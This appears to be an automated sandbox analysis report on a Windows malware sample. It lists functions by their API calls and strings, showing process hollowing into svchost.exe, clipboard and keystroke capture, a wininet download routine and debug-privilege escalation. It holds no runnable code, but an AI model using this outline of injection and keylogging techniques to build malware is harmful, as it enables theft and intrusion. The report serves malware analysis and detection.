Part of subcall function 000001CFB9612224: ExitThread.KERNEL32 ref: 000001CFB961221C

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: ExitThread_amsg_exit_getptd
String ID:
API String ID: 449628364-0
Opcode ID: 89516202c857e40fa39cb306dfbb3384337f535eef88643803fa67fb2fa8daaf
Instruction ID: 9ee064bfd5edd72a387d6a4d227816b1243b13d64d2dd430af621ed601a2e1b8
Opcode Fuzzy Hash: 89516202c857e40fa39cb306dfbb3384337f535eef88643803fa67fb2fa8daaf
Instruction Fuzzy Hash: 47C01225F8219141FA047771C456BEC0173D7D6704F41A878911983383CE18CA575204

Function 000001CFB9393860 Relevance: 1.5, APIs: 1, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32 ref: 000001CFB9393910

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b683d88442267f3b298fb07b97a96996fc05f56e0573c8ee7c1cfc654371a48f
Instruction ID: 0a74d5b798dcd2ec460037c16781f4b4271bdb92d0ff039a08bb239caa64735f
Opcode Fuzzy Hash: b683d88442267f3b298fb07b97a96996fc05f56e0573c8ee7c1cfc654371a48f
Instruction Fuzzy Hash: F0814E30618E459FE788EB38C445BA5B7E2FF94300F68822DE45EC3255DB34E996CB81

Non-executed Functions

Function 000001CFB9608E20 Relevance: 59.7, APIs: 25, Strings: 9, Instructions: 202libraryloaderprocessCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32 ref: 000001CFB9608EAB
CreateProcessA.KERNEL32 ref: 000001CFB9608F0E
OpenProcess.KERNEL32 ref: 000001CFB9608F33
LoadLibraryA.KERNEL32 ref: 000001CFB9608F61
GetProcAddress.KERNEL32 ref: 000001CFB9608F71
LoadLibraryA.KERNEL32 ref: 000001CFB9608F82
GetProcAddress.KERNEL32 ref: 000001CFB9608F92
LoadLibraryA.KERNEL32 ref: 000001CFB9608FA3
GetProcAddress.KERNEL32 ref: 000001CFB9608FB3
LoadLibraryA.KERNEL32 ref: 000001CFB9608FC4
GetProcAddress.KERNEL32 ref: 000001CFB9608FD4
GetCurrentProcess.KERNEL32 ref: 000001CFB9608FDE
GetProcessId.KERNEL32 ref: 000001CFB9608FE7
GetModuleFileNameA.KERNEL32 ref: 000001CFB960901B
VirtualAllocEx.KERNEL32 ref: 000001CFB9609051
WriteProcessMemory.KERNEL32 ref: 000001CFB9609074

Strings

h, xrefs: 000001CFB9608E8B
WaitForSingleObject, xrefs: 000001CFB9608FCA
@, xrefs: 000001CFB96090C5
Windows\System32\svchost.exe, xrefs: 000001CFB9608EB1
%s%s, xrefs: 000001CFB9608EBF
OpenProcess, xrefs: 000001CFB9608F67
Kernel32.dll, xrefs: 000001CFB9608F5A, 000001CFB9608F77, 000001CFB9608F98, 000001CFB9608FB9
ExitProcess, xrefs: 000001CFB9608F88
WinExec, xrefs: 000001CFB9608FA9

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Process$AddressLibraryLoadProc$AllocCreateCurrentDirectoryFileMemoryModuleNameOpenSystemVirtualWrite
String ID: %s%s$@$ExitProcess$Kernel32.dll$OpenProcess$WaitForSingleObject$WinExec$Windows\System32\svchost.exe$h
API String ID: 675209239-4110464286
Opcode ID: a97d71568bbf18846906c7cfef66eb8c9853d60e9d6f82541070b3eacffee3a6
Instruction ID: 85a423d3aaceaa8422246715a44bb840864974586e7bbc4fccb6f9f967d75bdb
Opcode Fuzzy Hash: a97d71568bbf18846906c7cfef66eb8c9853d60e9d6f82541070b3eacffee3a6
Instruction Fuzzy Hash: A2A11A31254BC685FB20DB25E854BD973B7FB99B88F804029DA890BB59DF79CB46C700

Function 000001CFB96111E0 Relevance: 51.0, APIs: 18, Strings: 11, Instructions: 223stringclipboardsleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 000001CFB9611268
GetTickCount.KERNEL32 ref: 000001CFB961126E
GetTickCount.KERNEL32 ref: 000001CFB9611285
OpenClipboard.USER32 ref: 000001CFB9611293
GetClipboardData.USER32 ref: 000001CFB961129E
GlobalSize.KERNEL32 ref: 000001CFB96112B3
GlobalLock.KERNEL32 ref: 000001CFB96112C0
wsprintfW.USER32 ref: 000001CFB961131E
GlobalUnlock.KERNEL32 ref: 000001CFB9611343
CloseClipboard.USER32 ref: 000001CFB9611350
GetKeyState.USER32 ref: 000001CFB96113E5
lstrlenW.KERNEL32 ref: 000001CFB961143F
lstrlenW.KERNEL32 ref: 000001CFB961145F
lstrlenW.KERNEL32 ref: 000001CFB9611487
wsprintfW.USER32 ref: 000001CFB96114AD
wsprintfW.USER32 ref: 000001CFB96114CC
wsprintfW.USER32 ref: 000001CFB96114FF
lstrlenW.KERNEL32 ref: 000001CFB961154D

Strings

%s%s, xrefs: 000001CFB96114EB
9, xrefs: 000001CFB96113DD
[esc], xrefs: 000001CFB9611255
f, xrefs: 000001CFB9611519
%s%s, xrefs: 000001CFB96114A0
5, xrefs: 000001CFB9611418
[, xrefs: 000001CFB961130F
5, xrefs: 000001CFB96114E3
), xrefs: 000001CFB96114DE
%s%s, xrefs: 000001CFB96114B8
), xrefs: 000001CFB961140F

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: lstrlenwsprintf$ClipboardGlobal$CountTick$CloseDataLockOpenSizeSleepStateUnlock
String ID: [$%s%s$%s%s$%s%s$)$)$5$5$9$[esc]$f
API String ID: 4137050888-2084089848
Opcode ID: be78bd541a2a61736a1957c595b8d8e79a2c05db90525e976eabeae237735a03
Instruction ID: 7dd3f5515ca23fcaffca9b243d6a14844b4602d13a1a165880693969f67d325f
Opcode Fuzzy Hash: be78bd541a2a61736a1957c595b8d8e79a2c05db90525e976eabeae237735a03
Instruction Fuzzy Hash: 71A16931284AD286FB509F25E844BE933B7F745B84F45A03ED94A966A9DB38CF47C700

Function 000001CFB961B734 Relevance: 44.2, APIs: 24, Strings: 1, Instructions: 465COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 000001CFB961B78A
_errno.LIBCMT ref: 000001CFB961B791
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB961B79C

Strings

U, xrefs: 000001CFB961BD18

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: __doserrno_errno_invalid_parameter_noinfo
String ID: U
API String ID: 3902385426-4171548499
Opcode ID: 14832583135990958cc041f7d1495fdaf62a60cf093e4a4757440e2763ab6bc2
Instruction ID: 24ad976c5e646cb39c4f51d7a9f8330210c653ab481a03cc82e9a13acb53be81
Opcode Fuzzy Hash: 14832583135990958cc041f7d1495fdaf62a60cf093e4a4757440e2763ab6bc2
Instruction Fuzzy Hash: 9812E1322446E686FB609F35D044BEA67B3F784B84F54613EDA49477A8DB39CE46CB00

Function 000001CFB9617E34 Relevance: 32.2, APIs: 16, Strings: 2, Instructions: 721COMMON

Download Yara Rule

APIs

Part of subcall function 000001CFB9612604: _getptd.LIBCMT ref: 000001CFB9612616

_errno.LIBCMT ref: 000001CFB9617EA7
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB9617EB2
_fileno.LIBCMT ref: 000001CFB9617EEB
_errno.LIBCMT ref: 000001CFB9617F5E
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB9617F69
write_multi_char.LIBCMT ref: 000001CFB9618553
write_multi_char.LIBCMT ref: 000001CFB9618585
write_multi_char.LIBCMT ref: 000001CFB9618626
free.LIBCMT ref: 000001CFB961863E
write_char.LIBCMT ref: 000001CFB9618791
write_char.LIBCMT ref: 000001CFB96187BC

Strings

@, xrefs: 000001CFB9617ED7
, xrefs: 000001CFB9618523

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: write_multi_char$_errno_invalid_parameter_noinfowrite_char$_fileno_getptdfree
String ID: $@
API String ID: 1084558760-1077428164
Opcode ID: b93bcdadbb8f90328ffe307164794086ab09e7f1a399fbb678084070f32f958e
Instruction ID: 73fa0917c5afee175fb32811dab56f8eba0fdd467c0bc25091bf066aef31f69d
Opcode Fuzzy Hash: b93bcdadbb8f90328ffe307164794086ab09e7f1a399fbb678084070f32f958e
Instruction Fuzzy Hash: 445215325886E28AFB658B55D544BEE6BB3F785788F24203DDA45476E4CB38CE43CB40

Function 000001CFB96150CC Relevance: 32.2, APIs: 16, Strings: 2, Instructions: 705COMMON

Download Yara Rule

APIs

Part of subcall function 000001CFB9612604: _getptd.LIBCMT ref: 000001CFB9612616

_errno.LIBCMT ref: 000001CFB961513A
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB9615145
_fileno.LIBCMT ref: 000001CFB961517D
_errno.LIBCMT ref: 000001CFB96151EE
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB96151F9
write_multi_char.LIBCMT ref: 000001CFB96157C6
write_multi_char.LIBCMT ref: 000001CFB96157F8
write_multi_char.LIBCMT ref: 000001CFB96158A4
free.LIBCMT ref: 000001CFB96158BD
write_char.LIBCMT ref: 000001CFB96159FC
write_char.LIBCMT ref: 000001CFB9615A1D

Strings

, xrefs: 000001CFB9615796
@, xrefs: 000001CFB9615169

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: write_multi_char$_errno_invalid_parameter_noinfowrite_char$_fileno_getptdfree
String ID: $@
API String ID: 1084558760-1077428164
Opcode ID: 0dd8a9e9680b45a2330683c2a2ed1dce40d136c4451b1250229d276cd2c77d16
Instruction ID: ec0a05dae091c906adf1a0cdae9a76cc3ba7956eb840e790f17444c3cdd06b3b
Opcode Fuzzy Hash: 0dd8a9e9680b45a2330683c2a2ed1dce40d136c4451b1250229d276cd2c77d16
Instruction Fuzzy Hash: D552F2726986F286FB658B15D544BEEABB3F741788F14203EDA46476E4D738CE42C700

Function 000001CFB96093C0 Relevance: 29.9, APIs: 11, Strings: 6, Instructions: 123libraryloaderfileCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 000001CFB9609407
GetProcAddress.KERNEL32 ref: 000001CFB960941A
FreeLibrary.KERNEL32 ref: 000001CFB9609446
GetProcAddress.KERNEL32 ref: 000001CFB960945D
CreateFileW.KERNEL32 ref: 000001CFB96094A6
GetProcAddress.KERNEL32 ref: 000001CFB96094EC
WriteFile.KERNEL32 ref: 000001CFB960952D
CloseHandle.KERNEL32 ref: 000001CFB9609542
Sleep.KERNEL32 ref: 000001CFB9609555
GetProcAddress.KERNEL32 ref: 000001CFB9609565
FreeLibrary.KERNEL32 ref: 000001CFB9609580

Strings

MSIE 6.0, xrefs: 000001CFB9609420
InternetOpenW, xrefs: 000001CFB960940D
InternetCloseHandle, xrefs: 000001CFB960955B
InternetOpenUrlW, xrefs: 000001CFB9609453
InternetReadFile, xrefs: 000001CFB96094E2
wininet.dll, xrefs: 000001CFB96093EA

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: AddressProc$Library$FileFree$CloseCreateHandleLoadSleepWrite
String ID: InternetCloseHandle$InternetOpenUrlW$InternetOpenW$InternetReadFile$MSIE 6.0$wininet.dll
API String ID: 2977986460-1099148085
Opcode ID: 122a2b6eb11c11a15bde66c07e659a8e57f10cad457793a664417ab65b661b38
Instruction ID: 5fa4246247063add3adf83713b71ae48477022200a057868c28b4e300390aa36
Opcode Fuzzy Hash: 122a2b6eb11c11a15bde66c07e659a8e57f10cad457793a664417ab65b661b38
Instruction Fuzzy Hash: 79418431645AC282FB60AF16F954BAA73B3F789B94F4441399D4907B95DF3CCA468B00

Function 000001CFB9610DD0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 121synchronizationfilekeyboardCOMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32 ref: 000001CFB9610E0D
lstrcatW.KERNEL32 ref: 000001CFB9610E1D
CreateMutexW.KERNEL32 ref: 000001CFB9610E2A
WaitForSingleObject.KERNEL32 ref: 000001CFB9610E3D
CreateFileW.KERNEL32 ref: 000001CFB9610E6B
GetFileSize.KERNEL32 ref: 000001CFB9610E79
CloseHandle.KERNEL32 ref: 000001CFB9610E84
DeleteFileW.KERNEL32 ref: 000001CFB9610E95
ReleaseMutex.KERNEL32 ref: 000001CFB9610EA2
DirectInput8Create.DINPUT8 ref: 000001CFB9610EC3
GetTickCount.KERNEL32 ref: 000001CFB9610F7B
GetKeyState.USER32 ref: 000001CFB9610F8C

Strings

\DisplaySessionContainers.log, xrefs: 000001CFB9610E13
<, xrefs: 000001CFB9610F46

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CreateFile$Mutex$CloseCountDeleteDirectFolderHandleInput8ObjectPathReleaseSingleSizeStateTickWaitlstrcat
String ID: <$\DisplaySessionContainers.log
API String ID: 1095970075-1170057892
Opcode ID: 284f6281b173ea0aff20379d17f905d139eb7f03b249c409d53b4416046c541a
Instruction ID: dbfc4b7b3c9ef6ff96ca35e5dd90a2d8d61807bf646b0271c7f328e31556da0b
Opcode Fuzzy Hash: 284f6281b173ea0aff20379d17f905d139eb7f03b249c409d53b4416046c541a
Instruction Fuzzy Hash: 24513C31644AC686FB10AF26E855BCA3773F795B88F50502EDE4947765CF3ACA4ACB00

Function 000001CFB960E660 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 143stringprocessCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 000001CFB960E6F3
lstrlenW.KERNEL32 ref: 000001CFB960E715
wsprintfW.USER32 ref: 000001CFB960E771
ExpandEnvironmentStringsW.KERNEL32 ref: 000001CFB960E7D8
lstrcatW.KERNEL32 ref: 000001CFB960E813
lstrcatW.KERNEL32 ref: 000001CFB960E820
lstrcpyW.KERNEL32 ref: 000001CFB960E82E
CreateProcessW.KERNEL32 ref: 000001CFB960E89D

Strings

h, xrefs: 000001CFB960E844
%s\shell\open\command, xrefs: 000001CFB960E763
, xrefs: 000001CFB960E702
WinSta0\Default, xrefs: 000001CFB960E850
"%1, xrefs: 000001CFB960E7DE

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$CreateEnvironmentExpandProcessStringslstrcpywsprintf
String ID: $"%1$%s\shell\open\command$WinSta0\Default$h
API String ID: 1783372451-2159495357
Opcode ID: ba43ab3c16d950af868a15ba6c4eacb985eb0009e768881ed9b92db806f5a03d
Instruction ID: 2109d14f0e14af5c2c44f7323680302970c3eb4bd82cd6f2051387c2c9fde9aa
Opcode Fuzzy Hash: ba43ab3c16d950af868a15ba6c4eacb985eb0009e768881ed9b92db806f5a03d
Instruction Fuzzy Hash: 5C619132350AD695FB20DB61D894BDD77B7FB88748F840039DA0946A99EF78CB46C700

Function 000001CFB95CB205 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 704COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 000001CFB95CB25B
_errno.LIBCMT ref: 000001CFB95CB262
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB95CB26D

Strings

U, xrefs: 000001CFB95CB7E9

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: __doserrno_errno_invalid_parameter_noinfo
String ID: U
API String ID: 3902385426-4171548499
Opcode ID: 5aec5120c6578ec051baed5e0ed66375258b5a76272eb916c6a446832dd0d25f
Instruction ID: e1de1345efa5c9a4535e208819806d5f771e4bedad6fae1f0c847cda27d06e81
Opcode Fuzzy Hash: 5aec5120c6578ec051baed5e0ed66375258b5a76272eb916c6a446832dd0d25f
Instruction Fuzzy Hash: 2632D232698A898BF7199F68D945BEA73F2FB85300F14052DE4C6C3591DB35DD83CA82

Function 000001CFB939E1C0 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 704COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 000001CFB939E216
_errno.LIBCMT ref: 000001CFB939E21D
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB939E228

Strings

U, xrefs: 000001CFB939E7A4

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: __doserrno_errno_invalid_parameter_noinfo
String ID: U
API String ID: 3902385426-4171548499
Opcode ID: 1e763b87e58c8dc672522dd8e0167707f509b774740b5ce60d3588ef98fcd1fe
Instruction ID: eb6c3981337b75b2d34bae6ab7d1f8eb54d825ffd6b0be8b99386e9e49327178
Opcode Fuzzy Hash: 1e763b87e58c8dc672522dd8e0167707f509b774740b5ce60d3588ef98fcd1fe
Instruction Fuzzy Hash: D332C131158A848BF729AB58D845BEA7BF6FF95700F2C052DE887C7192DB34DD438682

Function 000001CFB961987C Relevance: 20.3, APIs: 13, Instructions: 753COMMON

Download Yara Rule

APIs

Part of subcall function 000001CFB9612604: _getptd.LIBCMT ref: 000001CFB9612616

_errno.LIBCMT ref: 000001CFB96198F3
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB96198FE
DecodePointer.KERNEL32 ref: 000001CFB9619ED8
DecodePointer.KERNEL32 ref: 000001CFB9619F19
DecodePointer.KERNEL32 ref: 000001CFB9619F3E
write_multi_char.LIBCMT ref: 000001CFB9619FD8
write_multi_char.LIBCMT ref: 000001CFB961A00D
write_char.LIBCMT ref: 000001CFB961A059
write_multi_char.LIBCMT ref: 000001CFB961A0B1
free.LIBCMT ref: 000001CFB961A0D8
_errno.LIBCMT ref: 000001CFB961A393
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB961A39E

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: DecodePointerwrite_multi_char$_errno_invalid_parameter_noinfo$_getptdfreewrite_char
String ID:
API String ID: 3562693915-0
Opcode ID: 0a0d01e0bc9ea0a1bd05f23eeabc50ec017c538580942d0fdee960967a9280e8
Instruction ID: 2188b11387577811314e01271e4e38a227b9ddcf5751a7604c6d04e8e9e9483f
Opcode Fuzzy Hash: 0a0d01e0bc9ea0a1bd05f23eeabc50ec017c538580942d0fdee960967a9280e8
Instruction Fuzzy Hash: F96206726486E286FB248B15E440BEE66B3FB81784F25603EDB46877D5DB79CE42C700

Function 000001CFB960E8D0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 138registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 000001CFB960E946
RegQueryValueExW.ADVAPI32 ref: 000001CFB960E9B9
lstrcpyW.KERNEL32 ref: 000001CFB960EB10
RegCloseKey.ADVAPI32 ref: 000001CFB960EB22
RegCloseKey.ADVAPI32 ref: 000001CFB960EB2D

Strings

%08X, xrefs: 000001CFB960EABE

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Close$OpenQueryValuelstrcpy
String ID: %08X
API String ID: 2032971926-3773563069
Opcode ID: 0e29cbce6a932c9d2b64313da98afed9452b15b340385b79296a8b5820efe7fb
Instruction ID: e52008a78bffc30530f62ec27e2fc4207d0de835b3c5b2228b576d8db9674353
Opcode Fuzzy Hash: 0e29cbce6a932c9d2b64313da98afed9452b15b340385b79296a8b5820efe7fb
Instruction Fuzzy Hash: D7515631354AD182F760DB15E4C4BDAB773F784794F80513AEA8A43A98DF38CA46CB04

Function 000001CFB96095B0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 102threadinjectionprocessCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32 ref: 000001CFB9609650
CreateProcessA.KERNEL32 ref: 000001CFB96096B8
VirtualAllocEx.KERNEL32 ref: 000001CFB96096E9
WriteProcessMemory.KERNEL32 ref: 000001CFB960970A
GetThreadContext.KERNEL32 ref: 000001CFB9609724
SetThreadContext.KERNEL32 ref: 000001CFB960973E
ResumeThread.KERNEL32 ref: 000001CFB9609751

Strings

@, xrefs: 000001CFB96096DE
Windows\System32\svchost.exe, xrefs: 000001CFB9609656
%s%s, xrefs: 000001CFB9609664
h, xrefs: 000001CFB9609624

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Thread$ContextProcess$AllocCreateDirectoryMemoryResumeSystemVirtualWrite
String ID: %s%s$@$Windows\System32\svchost.exe$h
API String ID: 4033188109-2160973000
Opcode ID: f58d6a7c057cb02c2df6b1a71c3067792be07cb7426ee7cce939de0eded3e3e7
Instruction ID: 496e3f1693be05049cc2f93c3b2adfda78b2cfeb62ebd26ecd1ef74c0506e57b
Opcode Fuzzy Hash: f58d6a7c057cb02c2df6b1a71c3067792be07cb7426ee7cce939de0eded3e3e7
Instruction Fuzzy Hash: 75416132244BC285F720DF61E850BDAB3B7F784788F445029DA8D5BA69DF79CA16CB00

Function 000001CFB9608BE0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 000001CFB9608BF5
OpenProcessToken.ADVAPI32 ref: 000001CFB9608C08
LookupPrivilegeValueW.ADVAPI32 ref: 000001CFB9608C28
AdjustTokenPrivileges.ADVAPI32 ref: 000001CFB9608C52
CloseHandle.KERNEL32 ref: 000001CFB9608C5D
GetModuleHandleA.KERNEL32 ref: 000001CFB9608C6A
GetProcAddress.KERNEL32 ref: 000001CFB9608C7A
OpenProcess.KERNEL32 ref: 000001CFB9608CB2

Strings

SeDebugPrivilege, xrefs: 000001CFB9608C17
NtDll.dll, xrefs: 000001CFB9608C63
NtSetInformationProcess, xrefs: 000001CFB9608C70

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Process$HandleOpenToken$AddressAdjustCloseCurrentLookupModulePrivilegePrivilegesProcValue
String ID: NtDll.dll$NtSetInformationProcess$SeDebugPrivilege
API String ID: 2787840106-1577477132
Opcode ID: 27b4c8692a87e919420244d98f3be3ef49d2ab1f2781601b1f2affe4be556f26
Instruction ID: 0a8f3b50de396d9765ddacc791febf0842fd41b2b3856bcf46fef9119d1e6d9e
Opcode Fuzzy Hash: 27b4c8692a87e919420244d98f3be3ef49d2ab1f2781601b1f2affe4be556f26
Instruction Fuzzy Hash: 31216071654AC682FB40EB21F458BD973B3FB99744F80002A9A4E47755DF78CA4B8B00

Function 000001CFB960B300 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 169timeCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32 ref: 000001CFB960B340
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000001CFB960B407
CreateEventW.KERNEL32 ref: 000001CFB960B448
CreateEventW.KERNEL32 ref: 000001CFB960B476
CreateEventW.KERNEL32 ref: 000001CFB960B4A4
timeGetTime.WINMM ref: 000001CFB960B5BA
CreateEventW.KERNEL32 ref: 000001CFB960B5CF
CreateEventW.KERNEL32 ref: 000001CFB960B5E3

Strings

<, xrefs: 000001CFB960B38E
<, xrefs: 000001CFB960B387

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CreateEvent$CountCriticalInitializeSectionSpinTimetime
String ID: <$<
API String ID: 4111701721-213342407
Opcode ID: 24aada4ce3280c41e272b614e4f9f9879b9851271430bc6b136f973133d6a926
Instruction ID: 912438ddd8367c3b481ddf4994c130d7876424b5307478c9bfb8f56420ecd756
